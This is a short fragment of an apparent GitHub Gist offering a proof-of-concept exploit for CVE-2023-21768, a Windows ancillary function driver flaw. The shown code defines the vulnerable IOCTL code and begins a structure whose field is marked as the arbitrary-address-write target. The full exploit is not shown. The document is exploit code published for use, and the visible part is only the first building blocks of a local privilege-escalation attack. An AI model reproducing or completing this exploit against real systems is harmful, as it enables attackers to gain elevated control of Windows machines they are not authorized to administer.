Skip to content

Instantly share code, notes, and snippets.

@D4m0n
D4m0n / Exploit.c
Last active November 16, 2023 05:07
The Exploit PoC of CVE-2023-21768
#include "exploit.h"
#define AFD_NOTIFYSOCK_IOCTL 0x12127
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE hIoCompletionPort; // 0x0
PVOID registrationInfos; // 0x8
PVOID completionPortEntries; // 0x10
PVOID receivedEntryCount; // 0x18 AAW target